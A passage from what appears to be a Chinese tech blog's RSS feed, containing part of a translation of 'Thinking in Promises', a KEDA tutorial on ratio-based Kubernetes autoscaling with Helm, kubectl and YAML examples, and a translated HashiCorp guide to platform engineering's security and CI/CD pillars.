&lt;h2 id=&#34;尽管去做&#34;&gt;尽管去做&lt;/h2&gt;

&lt;p&gt;在一些人眼里，承诺理论是颠倒是非的。他们想要用义务来思考。A应该做B，C必须做D，等等。但除了激怒人的尊严感之外，这种方法很快就会导致可证明的矛盾。问题在于，任何义务的来源（施加义务者）都是存在于主体之外。因此，如果代理不愿意或无法合作（可能是因为它根本没有收到信息），那么除非解决另一个分布式合作问题，弄清楚出了什么错的情况下，才能解决这个问题！如此这般，令人作呕。（人们开始看到信任中心化推送模型和独立监控系统的谬误。）&lt;/p&gt;

&lt;p&gt;“承诺理论假设一个代理只能对其自身的行为做出承诺（因为它只能控制自己），这一点解决了信息分布所带来的问题，确保解决任何问题所需的信息和资源都是本地的且代理可以获取。通过这种方式，代理可以通过承担责任来自主地修复一个承诺。这就是代理的含义。&lt;/p&gt;

&lt;h2 id=&#34;一个练习&#34;&gt;一个练习&lt;/h2&gt;

&lt;p&gt;尝试用承诺而不是欲望、要求、需求等来思考的能力。花一整天时间思考人们、地方、过程和事物所做的承诺：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;承诺是向谁做出的？&lt;/li&gt;
&lt;li&gt;承诺是以何种形式做出的？&lt;/li&gt;
&lt;li&gt;它们是否依赖于其他事物来帮助它们履行承诺？&lt;/li&gt;
&lt;li&gt;这些事物是如何尝试履行它们的承诺的？&lt;/li&gt;
&lt;li&gt;如何评估承诺是否成功？&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;不要错过任何事情：从的睡床（它让你背疼了吗？），到晨练计划（它会减少脂肪吗？），你吃的食物（它新鲜、美味吗？），你合作的人们（他们的角色是什么？），你生活的城市，一直到你一天结束时使用的牙刷。&lt;/p&gt;

&lt;p&gt;如果你看不到任何承诺，试着问自己：这些事物的预期功能是什么？我与这些事物的关系是什么？我在它们身上看到了什么价值？最后，你添加了哪些额外的解释，这些并不属于你周围的承诺？金钱对你意味着生活方式、娱乐和未雨绸缪？&lt;/p&gt;

&lt;p&gt;在一天结束时，你将更好地理解我们所说的世界中的语义和意图性，并且准备好用这种思维应对各种情况。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>试译：Thinking in Promises</title>
      <link>/post/translate-thinking-in-promises/</link>
      <pubDate>Thu, 11 Jan 2024 01:00:42 +0800</pubDate>
      <guid>/post/translate-thinking-in-promises/</guid>
      <description>&lt;p&gt;前段时间在摸索配置管理问题时，偶然翻到了这本书，作者 &lt;a href=&#34;https://en.wikipedia.org/wiki/Mark_Burgess_(computer_scientist)&#34; target=&#34;_blank&#34;&gt;Mark Burgess&lt;/a&gt; 是个会作曲会画画的理论物理学家，同时在管理一堆服务器的时候，编写了 CFEngine 这个鼻祖级的配置管理工具。这本书在我的程度来说，相当难读，但是又解决了我过去很多考虑不清甚至尚未觉察的底层问题，因此试着抽空把它翻译出来，也当做是自己的一个学习过程。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>用 KEDA 根据工作负载进行快速扩容</title>
      <link>/post/way-to-keda/</link>
      <pubDate>Wed, 29 Nov 2023 15:21:04 +0800</pubDate>
      <guid>/post/way-to-keda/</guid>
      <description>

&lt;p&gt;&lt;strong&gt;太长不看版&lt;/strong&gt;：用单一指标指导单一工作负载进行扩缩容实在是太低效了。&lt;/p&gt;

&lt;h2 id=&#34;历史问题&#34;&gt;历史问题&lt;/h2&gt;

&lt;p&gt;众所周知，Kubernetes 有个亲生的 HPA 组件，在云原生早期，这个名义上的自动扩缩容的能力给 Kubernetes 赢得了不少掌声。当然现在回头看看，仅仅根据 CPU 和内存这样“贫瘠”的指标，不论是用于判断负载水平，还是用于计算扩容目标，都不是很够用的。这个阶段里，HPA 的扩缩容效率也是广受诟病的一个问题，在一个多级微服务调用的业务场景里，压力是&lt;strong&gt;逐级传递&lt;/strong&gt;的，下图展示了一个常见情况：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/load-in-turn.png&#34; alt=&#34;turn&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如上图，用户流量进入集群之后：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;首先在 &lt;code&gt;Deploy A&lt;/code&gt; 造成负载，指标变化迫使 &lt;code&gt;Deploy A&lt;/code&gt; 扩容&lt;/li&gt;
&lt;li&gt;A 扩容之后，吞吐量变大，B 受到压力，再次采集到指标变化，扩容 &lt;code&gt;Deploy B&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;B 吞吐变大，C ..&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这个逐级传递的过程不仅缓慢，而且可以说是步步惊心——每一级的扩容都是直接被 CPU 或内存的飙高触发的，被“冲垮”的可能性是普遍存在的。这种被动、滞后的方式，很明显是有问题的。&lt;/p&gt;

&lt;h2 id=&#34;推陈出新&#34;&gt;推陈出新&lt;/h2&gt;

&lt;p&gt;造成 HPA 窘境的原因之一，就是“自扫门前雪”，每个 Pod 都只能根据自身负载情况来进行扩缩容决策。如果能够直接根据业务流量的变化进行决策，并且将流量流经的所有微服务进行扩缩容，看起来情况就会好很多了。
 HPA 的&lt;a href=&#34;https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/&#34; target=&#34;_blank&#34;&gt;自定义指标&lt;/a&gt;支持，给这个问题了一个可行的方案。该能力让 HPA 可以用其它的指标来作为扩缩容的触发器，例如我们可以用 Promethues 采集消息中间件的深度或者负载均衡器的队列长度，作为一个更能如实反映业务流量的指标，直接用来触发相关的多个微服务的扩缩容，如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/prom-adapter.png&#34; alt=&#34;prom-adapter&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在上图中：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Prometheus 采集消息队列和负载均衡等更能反映业务流量的指标&lt;/li&gt;
&lt;li&gt;使用 Prometheus Adapter 将 Promethues Metrics 转换为 Kubernetes 的 Aggregated API&lt;/li&gt;
&lt;li&gt;HPA 使用自定义指标，&lt;strong&gt;同时&lt;/strong&gt;对多个应用进行扩缩容。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这中间涉及到的 Prometheus Adapter，通过配置文件完成步骤 2 的转换：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- seriesQuery: &#39;{__name__=~&amp;quot;^container_.*_total&amp;quot;,container!=&amp;quot;POD&amp;quot;,namespace!=&amp;quot;&amp;quot;,pod!=&amp;quot;&amp;quot;}&#39;
  resources:
    overrides:
      namespace: {resource: &amp;quot;namespace&amp;quot;}
      pod: {resource: &amp;quot;pod&amp;quot;}
  seriesFilters:
  # since this is a superset of the query above, we introduce an additional filter here
  - isNot: &amp;quot;^container_.*_seconds_total$&amp;quot;
  name: {matches: &amp;quot;^container_(.*)_total$&amp;quot;}
  metricsQuery: &amp;quot;sum(rate(&amp;lt;&amp;lt;.Series&amp;gt;&amp;gt;{&amp;lt;&amp;lt;.LabelMatchers&amp;gt;&amp;gt;,container!=&amp;quot;POD&amp;quot;}[2m])) by (&amp;lt;&amp;lt;.GroupBy&amp;gt;&amp;gt;)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;当然，完全可以自行实现 Aggregated API 来支持这种指标的采集和呈现工作。Prometheus 所提供的大量 Exporter 是吸引我们写这种古怪语法的最大动力。&lt;/p&gt;

&lt;p&gt;那么如果是 KEDA 的话，这个问题又如何呢？KEDA 提供了几十个被称为 Scaler 的东西，其中除了 Promethues 之外，还包括 Kafka、Redis、PostgreSQL 等多种选择。所以在很多场景中，无需 Promethues，也能使用 Scaler 完成对输入指标的读取和判断。下面用 KEDA 为例，看看这种伸缩方法的具体实现。&lt;/p&gt;

&lt;h2 id=&#34;keda&#34;&gt;KEDA&lt;/h2&gt;

&lt;p&gt;假设一个容器化应用由多个工作负载组成：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ingress：负责接收业务流量&lt;/li&gt;
&lt;li&gt;Backend 1、Backend 2：负责处理 Ingress 发来的任务&lt;/li&gt;
&lt;li&gt;Database：数据库&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们希望达成的效果是 —— Ingress、Backend 1、Backend 2、Database，实例数量保持在 &lt;code&gt;1:2:1.5:2&lt;/code&gt; 的关系，Keda 的大致流程如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/sequence.png&#34; alt=&#34;images&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先使用 Helm 安装 KEDA：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ helm repo add kedacore https://kedacore.github.io/charts
$ helm install keda kedacore/keda --namespace default
NAME: keda
LAST DEPLOYED: Wed Nov 29 18:56:36 2023
NAMESPACE: default
STATUS: deployed
REVISION: 1
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;随便创建几个工作负载，冒充微服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create deploy ingress --image=nginx
deployment.apps/ingress created
$ kubectl create deploy backend1 --image=nginx
deployment.apps/backend1 created
$ kubectl create deploy backend2 --image=nginx
deployment.apps/backend2 created
$ kubectl create deploy database --image=nginx
deployment.apps/database created
$ kubectl get pods | cut -d - -f 1 | grep -v keda | sort
...
backend1
backend2
database
ingress
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行成功后，我们可以看到，四个微服务，每个微服务都有一个实例。&lt;/p&gt;

&lt;p&gt;按照刚才瞎掰的比例，编写一个 &lt;code&gt;ScaleObject&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: bk1
spec:
  scaleTargetRef:
    name: backend1
  triggers:
  - type: kubernetes-workload
    metadata: 
      podSelector: &#39;app=ingress&#39;
      value: &#39;0.5&#39;
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: bk2
spec:
  scaleTargetRef:
    name: backend2
  triggers:
  - type: kubernetes-workload
    metadata: 
      podSelector: &#39;app=ingress&#39;
      value: &#39;0.67&#39;      
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: db
spec:
  scaleTargetRef:
    name: database
  triggers:
  - type: kubernetes-workload
    metadata: 
      podSelector: &#39;app=ingress&#39;
      value: &#39;0.5&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上述代码引入了 &lt;code&gt;kubernetes-workload&lt;/code&gt; 类型的触发器，他会监控 &lt;code&gt;app=ingress&lt;/code&gt; 的容器，并对 &lt;code&gt;scaleTargetRef&lt;/code&gt; 中提到的工作负载数量比例进行扩缩容。&lt;/p&gt;

&lt;p&gt;提交到集群之后，会看到实例数量数量发生了变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods | cut -d - -f 1 | sort | uniq --count
...
   2 backend1
   2 backend2
   2 database
   1 ingress
   3 keda
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们把 Ingress 扩容到 2 实例，再次统计：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl scale deployment ingress --replicas=2
deployment.apps/ingress scaled
$ kubectl get pods | cut -d - -f 1 | sort | uniq --count
...
   4 backend1
   3 backend2
   4 database
   2 ingress
   3 keda
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，的确是按照我们设定的比例，同步产生了缩放。如果缩减 Ingress 服务实例数，几分钟之后，其它工作负载也会随之缩容。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl scale deployment ingress --replicas=1
deployment.apps/ingress scaled
$ kubectl get pods | cut -d - -f 1 | sort | uniq --count                                                         \
...
   2 backend1
   2 backend2
   2 database
   1 ingress
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;虽说云原生架构的复杂性问题越来越被强调，但是这一生态的宗旨应该还是没有变化——用简单的透明的手段解决复杂问题。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>平台工程六大支柱</title>
      <link>/post/the-6-pillars-of-platform-engineering-part-1-security/</link>
      <pubDate>Sun, 12 Nov 2023 22:34:09 +0800</pubDate>
      <guid>/post/the-6-pillars-of-platform-engineering-part-1-security/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.hashicorp.com/on-demand/the-six-pillars-of-platform-engineering?utm_source=partner&amp;amp;utm_medium=email&amp;amp;utm_campaign=24Q3_WW_SIXPILLARSOFPLATFORMENGINEERING_WP&amp;amp;utm_content=&amp;amp;utm_offer=whitepaper&#34; target=&#34;_blank&#34;&gt;Six pillars of platform engineering&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://thenewstack.io/author/michael-fonseca/&#34; target=&#34;_blank&#34;&gt;Michael Fonseca&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;平台工程和开发体验&#34;&gt;平台工程和开发体验&lt;/h2&gt;

&lt;p&gt;平台工程是用来设计、构建工具链和工作流的方法，软件工程师团队在这些工具和流程的帮助下，获得自助服务的能力。这些工具和流程被称为内部开发平台，经常会被简称为平台。平台团队的目标是提高开发生产力、加快发布节奏、提高应用稳定性、降低安全及合规风险，以及降低成本。&lt;/p&gt;

&lt;p&gt;HashiCorp 曾经协助很多组织&lt;a href=&#34;https://www.hashicorp.com/cloud-operating-model&#34; target=&#34;_blank&#34;&gt;通过平台团队来扩展其云运营模型&lt;/a&gt;，平台团队必须提供让开发者满意的体验才能达成目标。我们在这些经验中看到了两种提高开发者体验的方式：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;对基础设施服务进行标准化，减少开发人员和运维团队之间的摩擦&lt;/strong&gt;：小而集中的平台工程师团队能够使用合适的工具（例如 API、文档和推广等），来改善整个组织的开发者体验。目标是减少工具和流程碎片化，从而提高软件交付系统和环境的核心稳定性。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;平台即产品&lt;/strong&gt;：传统的 IT 项目通常有一个确定的开始和结束日期。但内部开发平台永远不会真正完成。包括 Backlog 管理、定期功能发布以及为利益相关者更新路线图等工作都是需要持续进行的。因此要以迭代和敏捷思维方式进行开发，而不是像瀑布式开发那样进行大规模的前期规划。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;平台不是凭空产生的。只有在开发者想要使用平台的时候，平台才是有效的。构建和管理平台的过程中，需要持续的和开发者（平台用户）和利益相关人进行对话，并接纳其需求。本指南试图为平台团队提供一个对话的切入点，围绕软件交付过程中的六个技术元素（或者支柱）进行讨论，探讨每个要素的流程和一般需求，最终用这些要素进行产品组织。&lt;/p&gt;

&lt;h2 id=&#34;平台工程的六大支柱&#34;&gt;平台工程的六大支柱&lt;/h2&gt;

&lt;p&gt;平台战略有哪些组成部分？在和业界大量客户协作的过程中，HashiCorp 认为，平台由六大基础元素组成。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;安全&lt;/li&gt;
&lt;li&gt;流水线（版本管理和 CI/CD）&lt;/li&gt;
&lt;li&gt;基础设施发放&lt;/li&gt;
&lt;li&gt;网络连通&lt;/li&gt;
&lt;li&gt;编排&lt;/li&gt;
&lt;li&gt;可观测性&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;接下来的章节会对这些要素的定义、流程、需求、依赖以及实现过程进行阐述。&lt;/p&gt;

&lt;h2 id=&#34;支柱-1-安全&#34;&gt;支柱 1：安全&lt;/h2&gt;

&lt;p&gt;不管使用什么系统，开发者的第一个问题大概会是——“如何创建账号？怎么设置凭据？哪里能拿到 API Key？”虽说版本控制、持续集成以及基础设施发放才是平台工程的核心业务，然而默认安全是平台体验的基本要求。&lt;/p&gt;

&lt;p&gt;历史上，很多组织都会构建基于网络边界的安全能力，形成一种“城堡+护城河”的防御方式。然而现在的基础设施变得越来越动态，边界也就越来越模糊，兼顾生产力和控制力，难度越来越高。&lt;/p&gt;

&lt;p&gt;头部公司开始使用&lt;a href=&#34;https://www.hashicorp.com/resources/why-should-we-use-identity-based-security-as-we-ado&#34; target=&#34;_blank&#34;&gt;基于身份的安全&lt;/a&gt;、身份代理方案，以及&lt;a href=&#34;https://www.hashicorp.com/products/vault/secrets-management&#34; target=&#34;_blank&#34;&gt;凭据集中管理&lt;/a&gt;、&lt;a href=&#34;https://developer.hashicorp.com/vault/docs/use-cases#data-encryption&#34; target=&#34;_blank&#34;&gt;加密方法论&lt;/a&gt;等现代方法来应对这一挑战。这些手段提高了审计过程的可见性和持续性，并且降低了碎片化方案带来的运营开销。&lt;/p&gt;

&lt;p&gt;这些公司普遍采用了安全左移的策略：在软件开发的全生命周期中实现安全控制，尽早识别和修复潜在的攻击路径，并提高对审计以及合规的重视。这种方法不是临时措施，而应该是默认的用自动化的方式运行的。&lt;/p&gt;

&lt;p&gt;DevSecOps 要求使用身份驱动的安全工具，并且用 &lt;code&gt;As Code&lt;/code&gt; 的方式进行实现，而避免使用工单驱动的赋权过程。这种方式在传统和（例如基于特权的访问管理方式（PAM））和现代的安全方法论（例如 JIT 访问以及&lt;a href=&#34;https://www.hashicorp.com/resources/introduction-to-zero-trust-security&#34; target=&#34;_blank&#34;&gt;零信任&lt;/a&gt;）之间架设了桥梁。&lt;/p&gt;

&lt;h3 id=&#34;身份代理&#34;&gt;身份代理&lt;/h3&gt;

&lt;p&gt;在云运营模型中，人类、应用和服务都有自己的身份，用权威的中性化机构对这些身份进行认证。可以使用身份供应者（idP）结合多租户机密管理和加密平台来作为组织的身份代理。&lt;/p&gt;

&lt;h4 id=&#34;工作流-身份代理&#34;&gt;工作流：身份代理&lt;/h4&gt;

&lt;p&gt;在真实世界里，典型的身份代理工作流大概是这样的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：人、应用或者服务发出请求，开始互动。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;校验&lt;/strong&gt;：一或多个 IDP 根据一或多个真相来源对这个身份进行验证。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应&lt;/strong&gt;：认证和鉴权结果会被反馈给发起者。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/01-01.png&#34; alt=&#34;1-1&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;身份代理需求列表&#34;&gt;身份代理需求列表&lt;/h4&gt;

&lt;p&gt;身份代理有几个要素：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;所有的人、应用和服务都有定义完善的身份&lt;/li&gt;
&lt;li&gt;可以使用可信的 idP 进行认证&lt;/li&gt;
&lt;li&gt;身份系统提供跨越多云、多运行时的互操作性&lt;/li&gt;
&lt;li&gt;身份系统应该是中心化的，仅进行有限的分段，简化审计和多环境下的运营管理&lt;/li&gt;
&lt;li&gt;为每个 idP 构建身份和访问管理（IAM）能力&lt;/li&gt;
&lt;li&gt;客户端必须为认证和鉴权提供有效的身份&lt;/li&gt;
&lt;li&gt;通过验证之后，就开始以默认拒绝的策略来进行访问，如果身份泄漏，这种策略能将最小化可能的不良后果&lt;/li&gt;
&lt;li&gt;鉴权过程和审计一体化，如果能够做到即时（JIT）就更好了

&lt;ul&gt;
&lt;li&gt;定期对审计日志进行审核，以识别过于宽泛或未被利用的权限，并在威胁检测后进行追溯分析。&lt;/li&gt;
&lt;li&gt;审计数据是&lt;a href=&#34;https://csrc.nist.gov/glossary/term/non_repudiation&#34; target=&#34;_blank&#34;&gt;不可抵赖的&lt;/a&gt;，并且用合规的方式进行存储。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;通过支持异构运行时的灵活身份代理系统来防止碎片化：

&lt;ul&gt;
&lt;li&gt;平台（VMWare、Azure 虚拟机、Kubernetes/OpenShift 等）&lt;/li&gt;
&lt;li&gt;客户端（开发人员、运维人员、应用、脚本等）&lt;/li&gt;
&lt;li&gt;服务（MySQL、MSSQL、活动目录、LDAP、PKI 等）&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;包含确定 SLA 的 24/7/365 的企业级保障能力&lt;/li&gt;
&lt;li&gt;自动化能力（&lt;a href=&#34;https://www.hashicorp.com/resources/what-is-infrastructure-as-code&#34; target=&#34;_blank&#34;&gt;IaC&lt;/a&gt;、Runbook 等）&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;访问管理-机密管理和加密&#34;&gt;访问管理：机密管理和加密&lt;/h3&gt;

&lt;p&gt;有了身份之后，客户会需要有办法操作机密数据，例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;获取机密数据（凭据、密码、密钥等）&lt;/li&gt;
&lt;li&gt;访问安全目标&lt;/li&gt;
&lt;li&gt;管理安全数据（加密、解密、哈希、掩码等）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些机制应该只需要极少的人工干预即可完成设置，更高的自动化水平更容易达成合规要求。这一能力还应该是可扩展的，确保后续能够有更多的工具加入系统。&lt;/p&gt;

&lt;h4 id=&#34;工作流-机密管理和加密&#34;&gt;工作流：机密管理和加密&lt;/h4&gt;

&lt;p&gt;典型的机密管理工作流应该包含五个关键步骤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：客户（人、应用或服务）请求一个机密。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;验证&lt;/strong&gt;：idP 验证该请求&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：如果机密由被请求的平台管理，那么这个请求会被平台处理，还有可能：

&lt;ul&gt;
&lt;li&gt;平台向第三方请求一个临时凭据&lt;/li&gt;
&lt;li&gt;第三方系统为这个代理请求返回一个短生命周期的机密&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代理响应&lt;/strong&gt;：初始响应通过 IAM 加密屏障进行卸载或缓存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;客户端响应&lt;/strong&gt;：最终响应返回给请求方&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/01-02.png&#34; alt=&#34;01-02&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;访问管理-安全的远程访问-人机交互&#34;&gt;访问管理：安全的远程访问（人机交互）&lt;/h3&gt;

&lt;p&gt;传统上基于城堡-护城河模式的人机交互是不够的。传统过程需要用到多种身份，有认证和鉴权过程的介入，管理机密的生命周期，以及复杂的网络分区，这会造成非常大的开销。&lt;/p&gt;

&lt;p&gt;过去十年中，尽管 PAM 解决方案已经发展出委托（如动态生成 SSH 密钥）能力，但这并不能满足更广泛的生态系统需求，包括多运行时审计或跨平台身份管理。引入云架构模式，如临时资源、异构云网络拓扑和即时身份管理进一步增加了传统解决方案的复杂性。&lt;/p&gt;

&lt;p&gt;临时资源及其带来的&lt;a href=&#34;https://www.hashicorp.com/blog/shadow-dust-better-security-hashicorp-boundary-ephemeral-infrastructure&#34; target=&#34;_blank&#34;&gt;复杂性问题&lt;/a&gt;，例如动态资源注册、身份、访问以及机密等问题，被一种现代方案解决了。这种现代的安全的远程访问方案不再依赖 VPN、CMDB、堡垒机、人工 SSH、机密数据签入签出等传统工作流。&lt;/p&gt;

&lt;p&gt;企业级的安全访问工具可以使用零信任方案。这种方案里，用户和资源都有其身份，用户直接连接资源。通过动态资源注册表、控制器和密钥，作用域角色会自动注入到资源中，这样就消除了许多手动流程和安全风险，如频繁的网络打通和长期存在的密钥。&lt;/p&gt;

&lt;h4 id=&#34;工作流-安全的远程访问-人机交互&#34;&gt;工作流：安全的远程访问（人机交互）&lt;/h4&gt;

&lt;p&gt;现代的远程基础设施访问工作流，通常有如下八个步骤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：用户请求访问系统&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;验证（用户）&lt;/strong&gt;：通过身份代理校验该用户的有效性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;验证（到机器）&lt;/strong&gt;：通过认证之后，进行鉴权，查看该用户对目标的权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：平台为目标系统申请一个凭据（静态的或者短期的）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注入凭据&lt;/strong&gt;：平台把凭据注入到目标资源里&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代理响应&lt;/strong&gt;：平台向返回一个认证代理返回一个响应&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;客户端响应&lt;/strong&gt;：平台授权给最终用户&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;访问机器/数据库&lt;/strong&gt;：用户使用现代的安全远程访问协议访问目标资源&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/01-03.png&#34; alt=&#34;01-03&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;访问管理需求列表&#34;&gt;访问管理需求列表&lt;/h4&gt;

&lt;p&gt;机密管理系统应该包含：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;中心化&lt;/li&gt;
&lt;li&gt;传输和存储中的加密&lt;/li&gt;
&lt;li&gt;用范围角色和访问策略进行限制&lt;/li&gt;
&lt;li&gt;尽可能动态生成&lt;/li&gt;
&lt;li&gt;时间相关（TTL）&lt;/li&gt;
&lt;li&gt;全程可审计&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;机密管理应该有如下能力：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;支持多运行时、多云以及混合云部署&lt;/li&gt;
&lt;li&gt;提供弹性集成能力&lt;/li&gt;
&lt;li&gt;有多样化的生态系统&lt;/li&gt;
&lt;li&gt;拥抱零接触的自动化能力（API 驱动）&lt;/li&gt;
&lt;li&gt;在范围边界里，通过开发者和委托实现决策。&lt;/li&gt;
&lt;li&gt;具备各个领域的良好的文档&lt;/li&gt;
&lt;li&gt;根据 SLA 提供 24/7/365 的企业级支持&lt;/li&gt;
&lt;li&gt;支持自动化配置（IaC、Runbook）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外，要实现远程访问，应该提供：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;动态注册的服务目录&lt;/li&gt;
&lt;li&gt;实现身份模型&lt;/li&gt;
&lt;li&gt;提供面向多种认证源的认证能力&lt;/li&gt;
&lt;li&gt;可以用代码的形式进行配置&lt;/li&gt;
&lt;li&gt;提供 API 用于审核以及批准&lt;/li&gt;
&lt;li&gt;能够将密钥注入资源&lt;/li&gt;
&lt;li&gt;提供细颗粒的 RBAC&lt;/li&gt;
&lt;li&gt;记录动作、命令、会话等用于审计&lt;/li&gt;
&lt;li&gt;高可用，多平台，多云能力，支持分布式运营，并且具备应对事故的弹性&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;支柱-2-流水线-版本管理-ci-cd&#34;&gt;支柱 2：流水线（版本管理、CI/CD）&lt;/h2&gt;

&lt;p&gt;平台团队的第一步通常是和软件交付流水线进行集成，或者重构。在这之前首先要审视一下团队所在组织的版本管理系统和 CI/CD 流水线。&lt;/p&gt;

&lt;p&gt;很多组织都会有多个成熟程度不一的版本管理系统和 CI/CD 流水线。这些平台还在演进之中，所以建议采用基于组件的 API 平台或目录模型，以支持未来的可扩展性，这样就可以避免在功能上进行妥协，或者反复重构了。&lt;/p&gt;

&lt;p&gt;在云原生模型里，基础设施和配置都是用代码的方式被管理的，因此版本管理系统是这一功能的核心。版本控制系统在这里起到了以下作用：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;持久化和标准化&lt;/li&gt;
&lt;li&gt;敏捷和效率&lt;/li&gt;
&lt;li&gt;规模和弹性&lt;/li&gt;
&lt;li&gt;配置即文档&lt;/li&gt;
&lt;li&gt;复用和共享&lt;/li&gt;
&lt;li&gt;灾难恢复和可重现性&lt;/li&gt;
&lt;li&gt;合规与安全&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;版本管理系统和 CI/CD 使得跨基础设施、跨平台的交互称为可能，因此需要对这两个元素进行详细的评估。&lt;/p&gt;

&lt;h3 id=&#34;工作流-版本控制和-ci-cd&#34;&gt;工作流：版本控制和 CI/CD&lt;/h3&gt;

&lt;p&gt;典型的版本控制和 CI/CD 工作流有五个步骤：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;编码&lt;/strong&gt;：开发人员把代码提交到 VCS，随后自动触发流水线&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;校验&lt;/strong&gt;：CI/CD 平台向 idP 发起验证请求（认证和鉴权）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应&lt;/strong&gt;：如果校验成功，流水线开始执行任务（测试、构建和部署）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出&lt;/strong&gt;：输出和制品被分享给平台组建或者外部系统，用于后续处理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;操作&lt;/strong&gt;：可能会进行一些安全方面的后续处理，例如权限清理等。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/02-01.png&#34; alt=&#34;02-01&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;vcs-和-ci-cd-需求列表&#34;&gt;VCS 和 CI/CD 需求列表&lt;/h3&gt;

&lt;p&gt;成功的 VCS 和 CI/CD 解决方案应该提供：&lt;/p&gt;

&lt;ul&gt;
